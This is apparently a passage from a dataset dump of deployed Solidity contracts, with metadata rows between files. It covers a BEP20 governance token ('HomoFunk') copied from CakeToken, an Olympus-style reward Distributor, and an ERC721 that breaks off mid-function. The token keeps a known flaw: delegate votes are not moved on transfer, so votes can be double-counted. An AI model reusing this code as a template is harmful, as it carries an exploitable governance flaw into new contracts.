// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// CakeToken with Governance.
contract HomoFunk is BEP20('HomoFunk', 'Funks') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "CAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 317,519 | 10,386 |
7d29fa390a7c4eea32f0d9de304af91fbf566516d5366371045bd421d0e55570
| 18,083 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/55/552b28eD5875a605af49c11Fa86Dd4DbEa051507_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 95,996 | 10,387 |
610bfc9f0e4646de0f42ff5ea3e2fd3f01e46e42aa1cac82aa4caf4bbb4eb847
| 35,707 |
.sol
|
Solidity
| false |
454395313
|
solidproof/projects
|
e4944c9bb61ee5a4776813b37db72129ff648eb2
|
PixelMine/Contracts/Drill-Deployed.sol
| 4,385 | 17,900 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping owner address to last synced Time
mapping(address => uint) syncedAt;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from,
address to,
uint256 tokenId,
bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to,
uint256 tokenId,
bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
syncedAt[to] = block.timestamp;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
function _transfer(address from,
address to,
uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
uint lastSynced = syncedAt[from];
uint threeDaysAgo = block.timestamp - (60 * 60 * 24 * 3);
